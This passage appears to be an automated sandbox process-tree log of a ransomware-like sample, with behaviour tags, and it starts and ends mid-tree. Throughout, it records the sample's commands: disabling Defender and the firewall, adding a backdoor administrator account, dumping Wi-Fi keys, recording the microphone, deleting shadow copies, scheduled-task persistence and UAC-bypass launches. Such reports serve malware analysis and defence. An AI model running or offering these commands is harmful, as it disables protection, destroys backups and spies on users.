        "C:\Windows\System32\net.exe" stop srservice
        8⤵
        
        PID:13664
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        9⤵
        
        PID:14780
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        8⤵
        Modifies Windows Firewall
        
        PID:6240
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        8⤵
        Launches sc.exe
        
        PID:13284
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:4276
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        6⤵
        Creates a new local user account
        
        PID:2124
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        7⤵
        Creates a new local user account
        
        PID:2424
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        6⤵
        
        PID:6352
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        7⤵
        
        PID:7088
      - C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        6⤵
        
        PID:7956
      - C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        6⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:10664
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639219980092825762.wav')"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9560
      - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        6⤵
        Interacts with shadow copies
        
        PID:8272
      - C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        6⤵
        
        PID:11376
      - C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        6⤵
        
        PID:9516
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        7⤵
        
        PID:13336
      - C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        6⤵
        Modifies Windows Firewall
        
        PID:12432
      - C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:11128
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      PID:1128
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" user WindowsUpdater P@ssw0rd123 /add
      4⤵
      Creates a new local user account
      PID:3456
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        5⤵
        Creates a new local user account
        
        PID:3728
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" localgroup Administrators WindowsUpdater /add
      4⤵
      PID:4500
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        5⤵
        
        PID:1812
  - - C:\Windows\SYSTEM32\notepad.exe
      "notepad.exe"
      4⤵
      PID:5316
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh" wlan show profiles key=clear
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:9648
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639219980042923663.wav')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:10540
  - - C:\Windows\System32\vssadmin.exe
      "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:10688
  - - C:\Windows\System32\wbem\WMIC.exe
      "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
      4⤵
      PID:8652
  - - C:\Windows\System32\net.exe
      "C:\Windows\System32\net.exe" stop srservice
      4⤵
      PID:1716
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        5⤵
        
        PID:12084
  - - C:\Windows\System32\netsh.exe
      "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:11492
  - - C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wuauserv
      4⤵
      Launches sc.exe
      PID:9184
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
  2⤵
  - Disables one or more Microsoft Defender components
  - Command and Scripting Interpreter: PowerShell
  PID:4144
- C:\Windows\SYSTEM32\net.exe
  "net.exe" user WindowsUpdater P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  PID:1176
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:704
- C:\Windows\SYSTEM32\net.exe
  "net.exe" localgroup Administrators WindowsUpdater /add
  2⤵
  PID:5356
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
    3⤵
    PID:4376
- C:\Windows\SYSTEM32\notepad.exe
  "notepad.exe"
  2⤵
  PID:5880
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan show profiles key=clear
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:10556
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639219980075566064.wav')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:10744
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:10308
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  PID:8252
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  PID:11540
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:5732
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  PID:9164
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:13280

C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe
C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe
1⤵
PID:720
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4956
- C:\Windows\System32\cmstp.exe
  "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\afa90fd3-02bc-4a70-b813-3b8babd76d27.inf
  2⤵
  PID:5076
- C:\Windows\System32\eventvwr.exe
  "C:\Windows\System32\eventvwr.exe"
  2⤵
  PID:1260
- - C:\Windows\system32\mmc.exe
    "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
    3⤵
    PID:2984
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  PID:4380
- - C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe
    "C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe"
    3⤵
    PID:4948
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:52
  - - C:\Windows\System32\cmstp.exe
      "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\0d8c2bd9-dcd6-4b33-92a2-74d8490d1ee9.inf
      4⤵
      PID:5872
  - - C:\Windows\System32\eventvwr.exe
      "C:\Windows\System32\eventvwr.exe"
      4⤵
      PID:4520
    - - C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        5⤵
        
        PID:4496
  - - C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      4⤵
      PID:1200
    - - C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe"
        5⤵
        
        PID:5964
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1284
      - C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\9c3e7747-d5ca-4a23-8b9c-c22ae0d1bb52.inf
        6⤵
        
        PID:6608
      - C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        6⤵
        
        PID:6744
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        7⤵
        
        PID:6904
      - C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        6⤵
        
        PID:7152
        
        C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe"
        7⤵
        
        PID:7304
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe" /sc onlogon /f
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7436
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\a5e00b2f-e417-4c48-9e57-21cdd1a8f313.inf
        8⤵
        
        PID:7680
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        8⤵
        
        PID:1268
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        9⤵
        
        PID:6296
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        8⤵
        
        PID:7472
        
        C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe"
        9⤵
        
        PID:8492
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe" /sc onlogon /f
        10⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8808
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\3a03fc3d-3090-41c0-b022-766211a295cf.inf
        10⤵
        
        PID:8892
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        10⤵
        
        PID:8792
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        11⤵
        
        PID:9200
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        10⤵
        
        PID:8384
        
        C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe"
        11⤵
        
        PID:10528
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe" /sc onlogon /f
        12⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:11288
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\024a2de7-93a1-490a-a9fa-128aef356fbc.inf
        12⤵
        
        PID:12028
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        12⤵
        
        PID:10628
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        13⤵
        
        PID:11872
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        12⤵
        
        PID:1244
        
        C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe"
        13⤵
        
        PID:13748
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe" /sc onlogon /f
        14⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:14356
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\e795ec4e-423b-4ec9-8f73-911f9d3f42a3.inf
        14⤵
        
        PID:15128
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        14⤵
        
        PID:13276
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        15⤵
        
        PID:2592
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        14⤵
        
        PID:14844
        
        C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe"
        15⤵
        
        PID:12240
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe" /sc onlogon /f
        16⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:12268
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\732b3bc9-6eba-4e96-950d-52bbd8410cdb.inf
        16⤵
        
        PID:6508
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        16⤵
        
        PID:13500
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        17⤵
        
        PID:7176
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        16⤵
        
        PID:10332
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        16⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:15020
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        16⤵
        Creates a new local user account
        
        PID:9000
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        17⤵
        Creates a new local user account
        
        PID:6872
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        16⤵
        
        PID:12980
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        17⤵
        
        PID:13724
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        14⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:14852
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        14⤵
        Creates a new local user account
        
        PID:15132
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        15⤵
        Creates a new local user account
        
        PID:14404
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        14⤵
        
        PID:11320
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        15⤵
        
        PID:14880
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        14⤵
        
        PID:14436
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639219981012678195.wav')"
        14⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8712
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        14⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:6164
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        12⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:11628
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        12⤵
        Creates a new local user account
        
        PID:12452
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        13⤵
        Creates a new local user account
        
        PID:9876
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        12⤵
        
        PID:13028
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        13⤵
        
        PID:7612
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        12⤵
        
        PID:13620
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639219980624764919.wav')"
        12⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12496
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        12⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:14920
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        12⤵
        Interacts with shadow copies
        
        PID:11808
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        12⤵
        
        PID:9852
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        12⤵
        
        PID:14344
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        13⤵
        
        PID:14096
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        12⤵
        Modifies Windows Firewall
        
        PID:9692
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        12⤵
        Launches sc.exe
        
        PID:15176
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        10⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:9152
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        10⤵
        Creates a new local user account
        
        PID:9352
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        11⤵
        Creates a new local user account
        
        PID:10152
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        10⤵
        
        PID:10028
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        11⤵
        
        PID:11000
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        10⤵
        
        PID:11984
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639219980419959305.wav')"
        10⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4296
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        10⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:12344
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        10⤵
        Interacts with shadow copies
        
        PID:14664
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        10⤵
        
        PID:9616
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        10⤵
        
        PID:15336
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        11⤵
        
        PID:10624
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        10⤵
        Modifies Windows Firewall
        
        PID:3512
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        10⤵
        Launches sc.exe
        
        PID:12968
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        8⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:6800
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        8⤵
        Creates a new local user account
        
        PID:8476
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        9⤵
        Creates a new local user account
        
        PID:8472
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        8⤵
        
        PID:7740
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        9⤵
        
        PID:8948
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        8⤵
        
        PID:7672
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639219980312738148.wav')"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9960
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        8⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:12340
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        8⤵
        Interacts with shadow copies
        
        PID:14120
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        8⤵
        
        PID:8940
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        8⤵
        
        PID:11656
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        9⤵
        
        PID:5796
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        8⤵
        Modifies Windows Firewall
        
        PID:12044
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        8⤵
        Launches sc.exe
        
        PID:13588
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:7052
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        6⤵
        Creates a new local user account
        
        PID:7364
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        7⤵
        Creates a new local user account
        
        PID:8068
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        6⤵
        
        PID:8164
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        7⤵
        
        PID:7740
      - C:\Windows\notepad.exe
        
        "notepad.exe"
        6⤵
        
        PID:8408
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639219980126738139.wav')"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2832
      - C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        6⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:8816
      - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        6⤵
        Interacts with shadow copies
        
        PID:11416
      - C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        6⤵
        
        PID:11864
      - C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        6⤵
        
        PID:12652
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        7⤵
        
        PID:13744
      - C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        6⤵
        Modifies Windows Firewall
        
        PID:1264
      - C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:15272
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      PID:5244
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" user WindowsUpdater P@ssw0rd123 /add
      4⤵
      Creates a new local user account
      PID:6452
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        5⤵
        Creates a new local user account
        
